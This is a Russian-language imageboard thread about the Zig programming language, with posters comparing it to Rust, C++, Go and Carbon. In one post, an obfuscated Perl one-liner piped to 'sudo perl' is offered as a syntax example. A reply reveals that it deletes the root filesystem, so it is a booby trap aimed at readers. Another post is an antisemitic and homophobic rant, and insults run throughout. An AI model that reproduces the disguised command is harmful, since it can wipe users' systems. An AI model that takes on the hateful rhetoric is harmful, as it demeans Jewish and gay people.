Главная Юзердоски Каталог Трекер NSFW Настройки

Программирование

Ответить в тред Ответить в тред
<<
Назад | Вниз | Каталог | Обновить | Автообновление | 191 18 69
Zig thread #1zig Аноним 17/05/24 Птн 01:14:43 3158670 1
zig.PNG 12Кб, 444x196
444x196
Начинаем обсуждать и рейзим авэйрнесс о современном простом языке системного программирования Zig.
Встроенная кросскомпиляция. Интероп с сисиплюсплюс. Можно использовать как компилятор для С/C++ (по слухам предельно быстрый), постепенно переводя кодовую базу.

Без скрытых потоков управления.
Без скрытых выделений памяти.
Без препроцессора и макросов.

Вместо препроцессора так же выполняется зиг код, но на этапе компиляции (comptime), то есть метапрограммирование на самом языке.

Сайт:
https://ziglang.org/ru/
Реддит:
https://www.reddit.com/r/Zig/
Гитхаб:
https://github.com/ziglang/zig
Аноним 17/05/24 Птн 01:53:42 3158676 2
>>3158670 (OP)
Что есть хорошего написанного на zig? Я только про river-wm знаю.
Аноним 17/05/24 Птн 04:35:54 3158696 3
>>3158670 (OP)
Объектиники elf и WinPE умеет делать?
Если да - посмотрю, если нет, то такой язык не нужен.
Аноним 17/05/24 Птн 12:39:09 3159050 4
9ce22f1c324cbaa[...].jpg 234Кб, 1080x1080
1080x1080
Аноним 17/05/24 Птн 17:27:44 3159380 5
>>3159050
Это Лиза? Что-то как-то постарел Лизонька.
Аноним 17/05/24 Птн 17:38:30 3159405 6
>>3158670 (OP)
Тут раст не знают куда впихнуть, столько восторженных соплей, а все равно везде плюсы и не думают никуда переходить. А тут еще один системный язык.
Аноним 17/05/24 Птн 20:35:53 3159665 7
>>3159405
В отличие от раста этот язык не пытаются запихнуть в глотку, как повесточку. И в отличии от раста этот язык очень простой, никакой ебли с боров чекером, цветных функций и лайфтаймов. Именно своей простотой он многих привлекает. Некоторые его вообще используют как компилятор для Си, говорят он быстрее, чем родные компиляторы.
Аноним 17/05/24 Птн 20:38:20 3159669 8
Аноним 17/05/24 Птн 21:17:30 3159714 9
Аноним 18/05/24 Суб 17:12:20 3160630 10
>>3158670 (OP)
Как у него обстоят дела с абстракциями? Читал, ооп с виртуальными фуркциями в нем нет, но вроде можно реализовать вручную несколькими способами. Не слишком ли много бойлерплейта придется писать, чтобы реализовать то, что в C++ есть из коробки? И Zig позиционируется, как улучшенный C, а многим ли нужен улучшенный C, когда есть несколько улучшенных C++ (rust, carbon, cppfront)?
Аноним 18/05/24 Суб 19:42:39 3160870 11
>>3160630
>Как у него обстоят дела с абстракциями? Читал, ооп с виртуальными фуркциями в нем нет, но вроде можно реализовать вручную несколькими способами
Да, ООП нет, но так же как и в С или Go, есть структуры, к которым можно добавлять функции (В Go это делается не напрямую, а через ресивер функции), есть интерфейсы https://www.openmymind.net/Zig-Interfaces/

>Не слишком ли много бойлерплейта придется писать, чтобы реализовать то, что в C++ есть из коробки?
Наверное много но зачем опять же? Ты конечно теоретически можешь реализовать на одном языке другой, но это не всегда будет удобно, а тут это еще и не предполагалось. Вопрос примерно такой же как - "а не слишком ли много бойлерплейта нужно чтобы превратить С в С++?", да, много, но зачем это, если люди все еще пишут на С.
И ты же сам признаешь что зиг позиционируется как замена С, в первую очередь. По реализации ООП он вроде больше похоже на Golang со своими интерфейсами (который кстати оказался нужен, несмотря на несколько улучшенных С++)

Проблема с улучшенными С++:
- carbon очень медленно развивается, даже медленнее зига, и выглядит совсем умершим
- rust оказался переусложнен до невозможности и даже насильное запихивание в глотку, смешанное с форсом тренда не помогает, люди ливают (https://loglog.games/blog/leaving-rust-gamedev/).
- cppfront - об этом ничего не могу сказать, в первый раз слышу.

Пока, при условии, что люди пишут на современном диалекте, с умными указателями и не пытаются особо умничать в коде, С++у нет замены, он проще чем раст, более распространен чем карбон.
Аноним 18/05/24 Суб 19:50:04 3160877 12
>>3160630
> а многим ли нужен улучшенный C, когда есть несколько улучшенных C++
Опять, сравнивая с С++, можно выделить основные преимущества - а именно скорость компиляции и отсутствие ебли с заголовками
Для многих людей это оказалось решающим, и скорость компиляции - это то, чего не может дать ни раст, ни С++
Аноним 18/05/24 Суб 23:23:08 3161135 13
show.png 3Кб, 256x50
256x50
>>3159405
Раст не могут запихнут потому, что он невпихуем. Зиг же после си кажется просто удобнее, а не наоборот как с растом.
Нет никакой трудной кривой обучения, раст просто неудобный.

Тред тут не стартанет, раздел ели живет даже на топ языках, но интерес к зигу есть и это интерес именно системщиков, которые пишут на си, а не как в расте больше половины вчерашние питонщики на хайпе.
Аноним 19/05/24 Вск 20:57:41 3162188 14
show.png 2Кб, 256x50
256x50
Еще в раст треде шизик создает искусственный срач сам собой (постояноо одно и тоже), если срача нет, то тред тупо тонет.
Аноним 19/05/24 Вск 21:10:41 3162198 15
ОДИН СКАЖЕТ ZIG - МИЛЛИОНЫ ОТВЕТЯТ ...
Аноним 19/05/24 Вск 22:12:00 3162240 16
Аноним 20/05/24 Пнд 10:44:18 3162607 17
Неудачное название для языка. Мне кажется не взлетит.
Аноним 20/05/24 Пнд 14:04:21 3162911 18
>>3162607
Действительно, куда лучше С, С++, D, R, Rust, C#, Go.

А еще когда-то радость мне доставил javascript, владелец рутора так боялся инъекции, что сделал автозамену на поиск по слову "javascript".
Аноним 20/05/24 Пнд 17:31:02 3163152 19
Если сейчас версия 0.12, то сколько они ещё будут идти до 1.0? Тот же го и раст до 1.0 оказались несовместимы с релизной версией, поэтому что-то писать на нём сейчас просто бессмысленно.
Аноним 20/05/24 Пнд 20:25:53 3163384 20
>>3163152
И тем не менее пишут
Аноним 20/05/24 Пнд 20:49:40 3163401 21
Почему они не сделали автоматическую систему сборки? Почему я опять должен писать какую-то make-порнографию, чтобы собрать проект из пары файлов?
Аноним 20/05/24 Пнд 22:44:47 3163513 22
>>3163401
Это хороший вопрос, не знаю
Аноним 20/05/24 Пнд 23:30:30 3163583 23
>>3163401
Вроде как собирались пилить после асинков.

Хотя меня напрягает как некоторые системы прибиты к инету и к одной репе. И вроде как можно настроить, но в итоге такой пляс выходит, что ну его. И вроде опенсорс и вроде как очередной nuget получается. И вроде раст весть такой строгий и безопасный, но на пакет тянется тысяча пакетов с не читаемыми кодом и еще такими же не читаемыми макросами
Аноним 21/05/24 Втр 00:18:41 3163620 24
>>3163401
Поидее можно было бы просто плагин к мавену запилить, но видимо пока желающих нет
Аноним 25/05/24 Суб 16:51:09 3168845 25
Аноним 26/05/24 Вск 01:41:24 3169304 26
Аноним 26/05/24 Вск 11:49:09 3169502 27
Аноним 26/05/24 Вск 11:49:48 3169503 28
Аноним 26/05/24 Вск 12:50:48 3169599 29
rust.PNG 105Кб, 1002x358
1002x358
>>3169502
Не понял, так в расте же тоже можно вручную управлять памятью или докладчик этого не знает?
Аноним 26/05/24 Вск 12:53:13 3169601 30
image.png 500Кб, 718x679
718x679
Кмк, зигу лучше остаться в андерграунде и просто развиваться в нужном направлении, а не быть очередным пристанищем для душевнобольных по типу раста. Эти бездарности носятся от языку к языку на волне хайпа, то хачкели, то руби, то расты и кроме социальной вони ничего не создают. Это я уже не говорю о том, что бОльшинство этих бездарей поголовно веб-макаки и вчерашние питонисты, поэтому в расте есть куча веб-серверов и прочего кала, но нет нормальных крейтов для работы с системными вещами, для которых язык и создавался.
Пусть зиг еще сырой и у него не такое большое сообщество, но туда приходят люди не под влиянием хайпа, а потому что видят настоящую замену Си.
Аноним 26/05/24 Вск 12:55:03 3169602 31
>>3169601
Так так и получается, его же не фаундейшн разрабатывает, а 1 чел
Аноним 26/05/24 Вск 13:01:55 3169609 32
>>3169602
Ну вот пусть и продолжается, я лучше буду донатить "расово верной цисгендерной хуемрази", чем фонду бесполезных обсосов.
Слова Эндрю про переход на свой бекенд к первой версии выглядят мрийно, но если такое действительно произойдет, так еще и с сохранением "бесшовной" компиляции Си кода, то это будет 10/10.
Аноним 26/05/24 Вск 13:34:14 3169649 33
>>3169602
Мне понравилось что они отчитались за пол ляма донатов. Хотел бы видеть такой же отчет от успешных менджеров раста.

И я рад что растом начали наедаться, я говорил что он неудобный, а выдрессированные мне все говорили что я неосилятор. Что не лезет сова на глобус?
Аноним 26/05/24 Вск 13:43:32 3169673 34
>>3169649
> Хотел бы видеть такой же отчет от успешных менджеров раста.
Ага, конечно)
Так сидит подобная ГНОМУ шобла-ебла, с целями которых можно ознакомиться здесь.
https://foundation.gnome.org/strategicplan/
Аноним 29/05/24 Срд 19:44:43 3173449 35
Аноним 05/06/24 Срд 23:30:20 3182133 36
>Без скрытых потоков управления.
>Без скрытых выделений памяти.
Это как? Каким образом гаранируется?
Аноним 06/06/24 Чтв 01:05:28 3182209 37
>>3182133
>Без скрытых выделений памяти.
Ручками передаешь аллокатор. В теории это дает возможность подсунуть тестовый аллокатор, который определит утечку.
На практике хз что там и что мешает разработчикам либ забить на это и создавать свои внутренние аллокаторы.

Вот если это было бы какая-то метовая настройка, все все аллокаторы подменялись на твой - это имело больше смысл и меньше бойлерплейта.

Опыт зиг больше показывает что системщикам нужен новый яп, не такой костыльный как раст и но с существующим.интеропом
Аноним 07/06/24 Птн 00:42:12 3183324 38
>>3182133
> >Без скрытых потоков управления.
Ну просто тем что нет перегрузок функций, операторов, виртуальных еба-деструкторов, динамического распределения.
> >Без скрытых выделений памяти.
Стандартная либа написана так что любой пук требующий аллокаций будет принимать аллокатор и собственно задавает стандарт как надо делать. Но де факто никто не мешает тебе внутри твоей либы взять и сделать выделение памяти без предупреждения.
Аноним 07/06/24 Птн 01:35:30 3183336 39
>>3160870
> есть интерфейсы
А как интерфейсы работают без виртуальных функций?
Аноним 08/06/24 Суб 00:05:18 3184196 40
>>3183336
Вообще ровно также как и виртуальные функции. Просто если в крестах компилятор автоматом строит таблицу указателей для каждой реализации интерфейса и передаёт ссылку на объект + ссылку на таблицу, то в zig-е просто это делают ручками.

Предположим тебе нужен интерфейс вида:

void foo(self)
void boo(self)

Ну тебе просто надо создать объект-интерфейс

Const interface = struct {
Указатель на функцию foo
Указатель на функцию boo
Указатель на сам объект
}

Ну и собственно в твою реализацию добавляешь функцию которая создаёт и заполняет эту структуру-интерфейс.
Аноним 08/06/24 Суб 01:12:19 3184244 41
>>3159665
>никакой ебли с боров чекером
Вкатун спок, если ты имеешь представление как оно работает в памяти и хоть раз прочитал растбук, то легко можешь понимать по каким правилам он будет работать.
А вообще если хочешь простоты, то тебе в го
Аноним 08/06/24 Суб 02:08:02 3184264 42
Аноним 08/06/24 Суб 02:09:23 3184265 43
>>3184244
>А вообще если хочешь простоты, то тебе в го
Зачем у меня ест ьтакая же простая как го джава, только более удобная чем го
Аноним 08/06/24 Суб 02:10:16 3184268 44
>>3184244
Кста создатель Зига сделал его потому что его заебал боров чекер
Аноним 08/06/24 Суб 09:44:01 3184420 45
>>3184244
>как оно работает в памяти
Ты сам-то понял, как обосрался?
Аноним 18/06/24 Втр 23:50:57 3196020 46
Аноним 21/06/24 Птн 19:37:06 3199544 47
>>3158670 (OP)
Вообще интересные фишки у зига, понравилась поддержка разворачивания циклов самим языком и блоковые алиасы типа |x|
Аноним 13/08/24 Втр 11:09:23 3247839 48
>>3160870
> carbon очень медленно развивается, даже медленнее зига, и выглядит совсем умершим
Даже если ещё не умер, то умрёт. Точнее, будет убитым https://killedbygoogle.com/.
Он потому и не популярен наверное, что люди просто боятся вкладывать свои силы и время в поделки гугла.
Аноним 13/08/24 Втр 11:09:44 3247840 49
image.png 3Кб, 271x65
271x65
Аноним 13/08/24 Втр 16:00:13 3248172 50
>>3247839
Го, дарт, у гугла какая-то проблема с разработкой языков. Вероятно он не хочет сильно вкладываться, хочет на шару. Но прокся для С++ это не то, что может выстрелить случайно на удачу.
Аноним 13/08/24 Втр 19:36:30 3248340 51
>>3160877
Скорость компиляции нужна интерпритируемым языкам, а не системным. Тем более тому кто претендует на замену Си надо смотреть на скорость итогового кода а не на скорость его высирания, иначе во время выполнения программы на каком нибудь dsp будет пук среньк.
Аноним 13/08/24 Втр 19:39:28 3248343 52
Аноним 13/08/24 Втр 20:27:11 3248402 53
.png 24Кб, 812x151
812x151
>>3160877
> скорость компиляции
Почему хелловорлд 2 секунды собирается и весит как моя мама? Через систему сборки он вообще чёто там 15 секунд фурычит.
Аноним 13/08/24 Втр 20:38:09 3248409 54
>>3159405
Раст просто неудобный. Он хорош только в теории, а на практике в нем масса нерешенных проблем.
В последнее время появляется все больше статей/отзывов-разочарований про то как плох раст лол.
Интересно каков Зиг.
Аноним 13/08/24 Втр 21:30:49 3248470 55
>>3169601
Забавно что Primeagen назвал раст коммьюнити одним из самых токсичных лол. Там на самом деле ЧСВшный неадекват происходит.
Аноним 13/08/24 Втр 21:38:13 3248477 56
Аноним 13/08/24 Втр 23:03:21 3248535 57
>>3248409
>В последнее время появляется все больше статей/отзывов-разочарований про то как плох раст лол.
Половина от неосиляторов, которые написали хэлоуворд и пару циклов и пошли стонать, а вот именно о проблемах практически никто не говорит.
На самом деле к расту надо относится как к чему-то новому, там столько фишек интересных появилось, плюс некоторые как например монады были только в совсем задротских языках типа хаскеля, а тут реализовали Result и Option в стиле монад. Что-то полезное типа оператора match, которые появляются в других языках, что-то говно собачье типа лайфтаймов, короче как у всего нового есть свои плюсы и минусы.
За пару лет работы скажу что если сравнивать с гошкой, которая сейчас везде используется и применять раст в той же нише для бекенда, то в отличии от го поддерживать код после того как проект развивался крайне приятно. Тут иммутабельность, все имплементации явные (даже если кодогенерация макросом), компилятор вообще красавчик там встроен мощнейший линтер, обработка ошибок лучше, трейты в разу лучше утиных интерфейсов, дженерики дают пососать и много других приятных мелочей. В го ты сука постоянно должен напрягаться, от работы со слайсами до горутин и того что вокруг этого (мьютекс, вейтгруппы, каналы) в расте если брать tokio оно все в разы удобнее сделано и работает более очевидно.
Аноним 14/08/24 Срд 04:29:45 3248632 58
>>3248535
В расте нет ничего нового, его делали смузихлебы с оглядкой на D.
Аноним 14/08/24 Срд 10:11:43 3248766 59
>>3248632
>D
О котором никто не слышал, внести новшества в массы это тоже непростая задача
Аноним 14/08/24 Срд 11:33:32 3248849 60
>>3248535
>Половина от неосиляторов
Как раз нет. Сейчас буллшит об неосиляторах уже не работает придумайте новый, пишут именно те кто наелся. Просто кому-то нужно пару раз удариться головой, а кому-то надо весь лоб разбить чтобы понять суть.

Зиг выстрелит или нет, не важно, главное он показывает что нужно системщикам и людям в общем.
Аноним 14/08/24 Срд 12:35:57 3248923 61
Аноним 14/08/24 Срд 12:36:42 3248924 62
>>3248849
>Сейчас буллшит об неосиляторах уже не работает
Именно, это какой-то культ мазохизма
Аноним 14/08/24 Срд 12:37:34 3248928 63
>>3248766
Я слышал, классная штука, жалко в массы не пошла
Аноним 14/08/24 Срд 14:51:36 3249047 64
>>3248849
>придумайте новый
Ну ладно, тогда просто душевнобольные. В растотреде такой уже давно пасётся, хуй знает чего их так привлекает. Ты погоди если zig выстрелит они и к вам припрутся
Аноним 14/08/24 Срд 17:38:15 3249227 65
>>3249047
У зига нет агрессивного маркетинга, пытающийся впихнуть его везде, отсюда нет неадекватных фанбоев и не будет токсичного коммьюнити.
Аноним 14/08/24 Срд 17:50:43 3249243 66
>>3249227
>У зига нет агрессивного маркетинга,
Тогда не взлетит
Аноним 14/08/24 Срд 18:01:25 3249250 67
>>3249243
Если сова прекрасно налезает на глобус, собирать питон программистов в системную разработку не нужно.
Аноним 17/08/24 Суб 12:24:11 3251224 68
>>3249250
Если нет пользователей, сова легко натягивается куда угодно на словах, всё равно никто не узнает что получится на практике (ничего). Поэтому говно избегает пользователей препятствуя разоблачению.
Аноним 17/08/24 Суб 21:59:52 3251546 69
>>3251224
Люди просто берут и работают, без маня статей об успешном успехе. а потом обратно сливаются, хайп ради хайпе. Пока донаты идут, эта херня живет, на практике раст очень неудобен и кривая обучения тут не причем.
Аноним 18/08/24 Вск 00:18:33 3251574 70
>>3251546
Люди работают на том что выгодно бизнесу в первую очередь
Аноним 18/08/24 Вск 06:46:43 3251613 71
>>3251546
>Пока донаты идут
Вот именно. Сначала делаешь громкое заявление на переворот мира, привлекаешь спонсоров, а потом тянешь обещания на тормозах 10-20-30 лет сробирая донаты. Классическая модель развода как у известной вапорваре-игры Star Citizen:
>"Чото пилим , вроде перспективно (на словах), но результат планируется когда-нибудь в неопределенном будущем"
А донатики давайте сейчас, надо же двигать прогресс к светлому будущему коммунизма. Короче имитация активности ради попила бабла.
Аноним 25/08/24 Вск 22:26:58 3256287 72
>>3251574
А техи откуда берутся, если кабан не шарит? Именно с сеньеров-помидоров и начинается, а там он или тупой и повелся на рекламу или же потестил и даже о рисках подумал. бред, конечно, снова взял раст, а потом закат ушел
Аноним 25/08/24 Вск 22:32:29 3256288 73
>>3251613
>Вот именно
Я про это и говорю, там же пласт успешных менеджеров от мозилы откололся. Им важнее хайп, драмы, политика, ибо забвение донаты не приносят.
Тут даже причина еще в том, что раст очень неудобный, его поддувать постоянно надо.
Аноним 26/08/24 Пнд 05:37:01 3256439 74
>>3256288
Раст как трансы с пидорами, его уже выбрали жиды с бесконечным баблом на поддув. Разве не видишь, что пидарасня мерзкие уроды, а не люди, но это не мешает их форсить, вот и раст то же самое, плевать насколько это уебанский недоязык, это не мешает его форсить из каждого утюга, наоборот, именно за это его и форсят - нагадить, развалить, в чём цель жидопропаганды и состоит, найти говно повонючей и измазать в нём весь мир, на отряды разбрасывателей и мазателей говна у них средства есть.
Аноним 29/08/24 Чтв 12:38:03 3258855 75
Аноним 29/08/24 Чтв 16:43:46 3259145 76
show.png 1Кб, 256x50
256x50
Аноним 07/09/24 Суб 03:06:21 3266477 77
>>3158670 (OP)
>Без препроцессора и макросов.
получается нахуй не нужен
Аноним 07/09/24 Суб 11:05:23 3266590 78
>>3266477
Ты так быстро торопился написать своими маленькими ручками, что даже не успел прочитать следующее предложение.
>Вместо препроцессора так же выполняется зиг код, но на этапе компиляции (comptime), то есть метапрограммирование на самом языке.
Аноним 19/09/24 Чтв 11:36:11 3276504 79
Глянул пару видосиков и решил - продано. ЯП охуенен чуть более чем полностью, скоро приступаю к изучению и запиливанию какого-нибудь проекта.

Накидайте мб годных материалов? Чтобы приятно читалось.

Алсо вот https://www.youtube.com/watch?v=NAOOGB1q6uQ
Аноним 20/09/24 Птн 04:48:25 3277152 80
>>3276504
Каких например проектов?
Аноним 20/09/24 Птн 11:43:58 3277295 81
>>3266590
То есть макросы есть, у ОПа написано, что нет. Кто из вас хуесос он или ты?
Аноним 20/09/24 Птн 12:22:56 3277321 82
>>3277295
В С++ есть и макросы и есть constexpr. Это как бы разные понятия. Макросы это то что обрабатываются препроцессором. Препроцессор ничего не знает о языке, это для него тупо текст. А выражения времени компиляции обрабатываются компилятором который знает про типы, языковые конструкции и тп.
Если говорят, что в языке нейм нет макросов, то наверно понимают под этим такое разделение как в Си++
Аноним 04/10/24 Птн 22:12:33 3289632 83
screencapture-t[...].png 196Кб, 1716x1387
1716x1387
>>3159405
>Microsoft переписывает код ядра и некоторых библиотек Windows на языке Rust
>Microsoft запустила экспериментальный проект по разработке собственного языка программирования Verona, основанного на Rust. По данным CNews, Microsoft планирует переписать на новом языке некоторые низкоуровневые компоненты ОС Windows 10

Как же БЛЯДЕЙ КОРЁЖИТ — любо дорого смотреть.

Ой, как так получилось, что "ненужные" golang и rust оттяпали свою мировую долю? Эт чо получается, мегакорпорации могут тупо бросать в инженеров чемоданы с баблом и чисто по приколу плодить языки конкуренты крестам, забираю всё больше больше ниш у последних?

На очереди кстати carbon от гугла и verona от майки. Оба проекта будут иметь обратную совместимость и оба окончательно отожмут у лохов-фанатиков Страуструпа их плюсплюсолку через отмену этой самой совместимости, когда паства большим числом перекатиться на эти проекта.

Ну а нишу чистой сишки отожмёт zig, да.
Аноним 05/10/24 Суб 00:59:54 3289749 84
>>3289632
>скратч и руби в рейтинге а не на помойке
ого как неполживо

>>3277321
карочи ближе к ночи
как мне на зиге без макросов прописать алисасы доступов к полю подструктуры структуры?
в сишке я бы просто ебанул
#define alias struct1->field->subfield
а потом бы сделал
#undef alias

вернусь через месяцок посмотреть ответ
Аноним 05/10/24 Суб 08:29:07 3289808 85
>>3289632
Чувак, у тебя там делфи и vb популярнее пхп - у которого количественная доля до сих пор около 70% всего веба. И котлина, основного языка андроид разработки.
Ну да, нарастающий успех кобола, просто уже стеб в лицо.

Там скорее всего сидит такая же маня как ты, далекая от айти и рисует циферки рандомно.
Аноним 05/10/24 Суб 08:40:57 3289810 86
>>3289632
>На очереди кстати carbon от гугла
У гугла какая-то проблема с созданием языков, судя по тому когда был анонс и какой сейчас статус проекта, можно даже не вспоминать. Чувак из зига сделал больше чем эта команда.
Да и ты видел дизайн языка? Там опять людей из криокамеры вытащили, им даже уже на ютубе мимокродилы намекают чтобы они посмотрели на последние достижения в разных языках, а не делали очередной допотопный высер как го.

>и verona от майки
Эти умеют делать языки и смежные технологии, но они закрыли этот проект.
Аноним 07/10/24 Пнд 09:43:26 3291503 87
Как считаете, кто-нибудь начнёт лепить Zig++ после Zig релиза?
Аноним 07/10/24 Пнд 10:47:55 3291528 88
>>3291503
Зачем? Зиг это хорошая, возможно идеальная альтернатива си, а си по дефолту прекрасен.
Аноним 07/10/24 Пнд 11:30:45 3291560 89
>>3291528
Альтернатива прекрасному это что?
Аноним 07/10/24 Пнд 11:44:07 3291571 90
>>3291528
> возможно идеальная альтернатива си
Нет, неидеальная. Разработчик у него не такой как все смузихлёб. И обработка ошибок говно. И что-то ещё наверное, что я ещё не вспомнил.
Аноним 07/10/24 Пнд 11:45:58 3291573 91
image.png 77Кб, 486x563
486x563
Глянул синтаксис блевану и закрыл это говно
Аноним 07/10/24 Пнд 11:53:25 3291581 92
Аноним 07/10/24 Пнд 12:05:58 3291597 93
>>3291528
> идеальная альтернатива си, а си по дефолту прекрасен.

Мне кажется железячники не осилят
Аноним 07/10/24 Пнд 12:18:05 3291610 94
Аноним 07/10/24 Пнд 12:24:50 3291617 95
image 593Кб, 1080x593
1080x593
>>3291610
>мы сделали нечитабельный синтаксис
>@
>а вот у питона
>а вы техдолг джиэса видели
>толька выйграле
Аноним 07/10/24 Пнд 12:27:04 3291622 96
>>3291617

Чел ну придирки к синтаксису в 2к24 это чет на джуновском. Типа знаешь, когда придираются к синтаксису создается впечатление что язык реально пиздат, ибо никаких притензий кроме вкусовщины нет.
Аноним 07/10/24 Пнд 12:29:18 3291624 97
image 408Кб, 1000x525
1000x525
>>3291622
>называть буквально единственное предназначение яп вкусовщиной
>примерно почувствовать что язык реально пиздат потому, что неудобен
Аноним 07/10/24 Пнд 12:29:48 3291626 98
>>3291617
Нефигасе, боевые картинки, уроки сделал?
Аноним 07/10/24 Пнд 12:30:41 3291629 99
>>3291626
это не боевые, залетуха
Аноним 07/10/24 Пнд 13:31:39 3291707 100
>>3291622
Как ты относишься к perl?
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Аноним 07/10/24 Пнд 13:40:48 3291720 101
>>3291707
> rm: it is dangerous to operate recursively on '/'
> rm: use --no-preserve-root to override this failsafe
Ну что ж ты, бэтмен, ключ зажопил?
Аноним 07/10/24 Пнд 13:45:31 3291724 102
>>3291573
Хули ты хотел от сишников пишущих себе игрушку
Аноним 07/10/24 Пнд 14:23:19 3291757 103
>>3291624
>называть буквально единственное предназначение яп вкусовщиной

Единственное предназначение ЯП это чтобы тебе нравился синтаксис с эстетической точки зрения? Ебат капат

>>3291707
Обфускация это не про плохой синтаксис, это про плохую безопасносить. Ты же понмаешь что нормальный код на перле так не выглядит?
Аноним 07/10/24 Пнд 15:00:31 3291784 104
>>3291757
Мне в каждом яп что-то нравится что-то нет, как может все вообще нравится, да еще постоянно какие-то подводные.
Какие же вкатуны дегенераты.
Аноним 07/10/24 Пнд 15:03:52 3291789 105
>>3291757
>Ты же понмаешь что нормальный код на перле так не выглядит?
Понимаю, там нормальный код не сильно от этого отличается
Аноним 07/10/24 Пнд 15:21:06 3291806 106
>>3291757
>Единственное предназначение ЯП
ты даже не в курсе смысла яп, нахуй тогда тут срешь, люмпен?

>>3291784
сделай свой язык, это сейчас модно стильно молодежно
Аноним 07/10/24 Пнд 15:30:34 3291828 107
>>3291789
>Понимаю, там нормальный код не сильно от этого отличается

Тем временем регекспы из перла унаследовали чуть ли не все языки и с удовольствием кушают их
Аноним 07/10/24 Пнд 15:55:58 3291857 108
>>3291610
Так я на С++ пишу уже десяток лет, нахуй мне ваша параша с даунским синтаксисом.

>>3291724
Так я сам можно сказать сишник, сишники не могли такого говна наклепать. Скорее это JS дауны которые решили себя сишниками почувствовать.
Аноним 07/10/24 Пнд 16:25:33 3291886 109
>>3291857
>Так я сам можно сказать сишник, сишники не могли такого говна наклепать. Скорее это JS дауны которые решили себя сишниками почувствовать.
Правда где-то в середине, автор этого поделия одновременно и сишник и джаваскриптизер
Аноним 07/10/24 Пнд 18:12:59 3291983 110
>>3291573
>>3291857
> Так я на С++ пишу уже десяток лет,

Кому ты пиздишь, клован, по твоим выделениям видно что ты вчера курсовую сдал и после этого к языкам не притрагивался.

Там причем масса вопросов, по коду что например вот это за хуйня try parseInt оно что цикл с ловушкой исключений формирует, как это вообще работает?

Я знаю в свифте и скотлине есть вот эта залупа козлиная hruk.?puk.!kukarek а тут типа zigанутый придумал try оператор просто использовать и что будет если исключение прилетит в переменную/массив что запишется?
Или это программист дебил?
Аноним 07/10/24 Пнд 18:17:40 3291988 111
>>3291983
>Там причем масса вопросов, по коду что например вот это за хуйня try parseInt оно что цикл с ловушкой исключений формирует, как это вообще работает?
Просто археологические раскопки, сидим гадаем что же может этот знак у древних значить, неужели эксепшены затаились?

Цирк дебилов.
Аноним 07/10/24 Пнд 18:19:12 3291990 112
>>3291857
>Так я на С++ пишу уже десяток лет, нахуй мне ваша параша с даунским синтаксисом.
Кто тебя заставляет, ты никто и никому не нужен.
Аноним 07/10/24 Пнд 18:34:39 3292000 113
>>3291983
>Там причем масса вопросов, по коду
Лол, так я даже дальше не смотрел.
Если ты на улице видишь говно лежит, ты его что дальше рассматриваешь и изучаешь?

>>3291990
Ну да, тото наверное мне все хрюши из бигтехов спамят нонстоп с предложениями, когда у меня даже резюме не опубликованно))
Это ты со своим зигом нахуй не нужен, я уверен там 0.0 вакансий на эту парашу.
Аноним 07/10/24 Пнд 18:50:58 3292028 114
>>3292000
>Если ты на улице видишь говно лежит, ты его что дальше рассматриваешь и изучаешь?
По аналогии ты сейчас буквально сидишь и ковыряешься в говне.

>Ну да, тото наверное мне все хрюши из бигтехов спамят нонстоп с предложениями, когда у меня даже резюме не опубликованно))
Чувак, либо ты малолетний фантазер, либо взрослый лоб с тотальными проблемами в самооценке, ты даже не представляешь как твои посты выглядят наивно.

>Это ты со своим зигом нахуй не нужен, я уверен там 0.0 вакансий на эту парашу.
Мне срать, инструмент тупо решает мою задачу. Сегодня я к железке написал на сях/зиге, завтра на работе я пописал на шарпах, потом на мобилке пописал на котлине, а потом другу помог с джаваскриптом и го. Язык программирования - не религия, это набор технических решений и пока убер спонсирует нужную мне теху в зиге, я могу позволить себе покодить на нем.
Аноним 07/10/24 Пнд 18:59:20 3292040 115
>>3291988
Ну и это нормально у зиганутых?
try parseint
try .append(value)
То есть ловить дропать исключение
пытаться добавить неинициализированную перемесенную (она не добавится при исключении как я понимаю)

А потом два цикла обрабатывать как будто они ровные

for (arr1, arr2) |a, b| {}

Вы вообще вменяемые, нет?

>>3292000
То есть плюсовик со стажем увидел std и порвался? Ты сразу палишься по таким мелочам, пидорастер, иди библиотеки с си переписывай, солнце еще высоко.
Аноним 07/10/24 Пнд 19:11:03 3292051 116
>>3292028
Ору с твоего коупинга и попыток принизить меня, лол. У кого проблемы с самооценкой - это точно у тебя. В твоих постах прям чувствуется как горит твоя жопа 🤭🤭🤭

>шарп, котлин, жс, го
Мог бы сразу это написать, что ты умственно отсталый, лол. Тогда бы твоё мнение по дефолту не учитывалось.

>>3292040
> увидел std
Так я не про std а ублюдскую js конструкцию инклюда где еще ублюдский строковый литерал почему-то используется. Просто пиздец. Ну сразу видно, что создатель жс дебил.
Аноним 07/10/24 Пнд 19:25:34 3292064 117
>>3292051
>шарп, котлин, жс, го
>Мог бы сразу это написать, что ты умственно отсталый, лол.
Нефига пердак порвался.
Аноним 07/10/24 Пнд 19:31:00 3292068 118
>>3292040
Нет там исключений. Ты увидел около-знакомую конструкцию и пытаешься ее интерпретировать в границах своих познаний, даже знакомство со свифтом тут тебе бы помогло больше, чем твои догадки.
Аноним 07/10/24 Пнд 19:35:23 3292072 119
Аноним 07/10/24 Пнд 19:42:56 3292082 120
>>3292051
> Так я не про std а ублюдскую js конструкцию инклюда где еще ублюдский строковый литерал почему-то используется. Просто пиздец. Ну сразу видно, что создатель жс дебил.

Ты имеешь в виду ноду-жс которая представляет из себя плюсовую библиотеку предоставляющую джаваскрипту загрузку модулей через функцию require("fs")

Ты обосрался клован. Это не инклюд динамический импорт прямиком из D, который навеян костыльными решениями для с/срр.
А в джаваскрипте экмаскрипте в итоге сделали по своему
import { x } from "puk"
import "puk" as kukarek
Аноним 07/10/24 Пнд 19:50:29 3292093 121
>>3292082
>Ты имеешь в виду ноду-жс которая представляет из себя плюсовую библиотеку предоставляющую джаваскрипту загрузку модулей через функцию require("fs")
>
>Ты обосрался клован. Это не инклюд динамический импорт прямиком из D, который навеян костыльными решениями для с/срр.
>А в джаваскрипте экмаскрипте в итоге сделали по своему
>import { x } from "puk"
>import "puk" as kukarek
Сорта говна
Аноним 07/10/24 Пнд 19:57:05 3292099 122
>>3292068
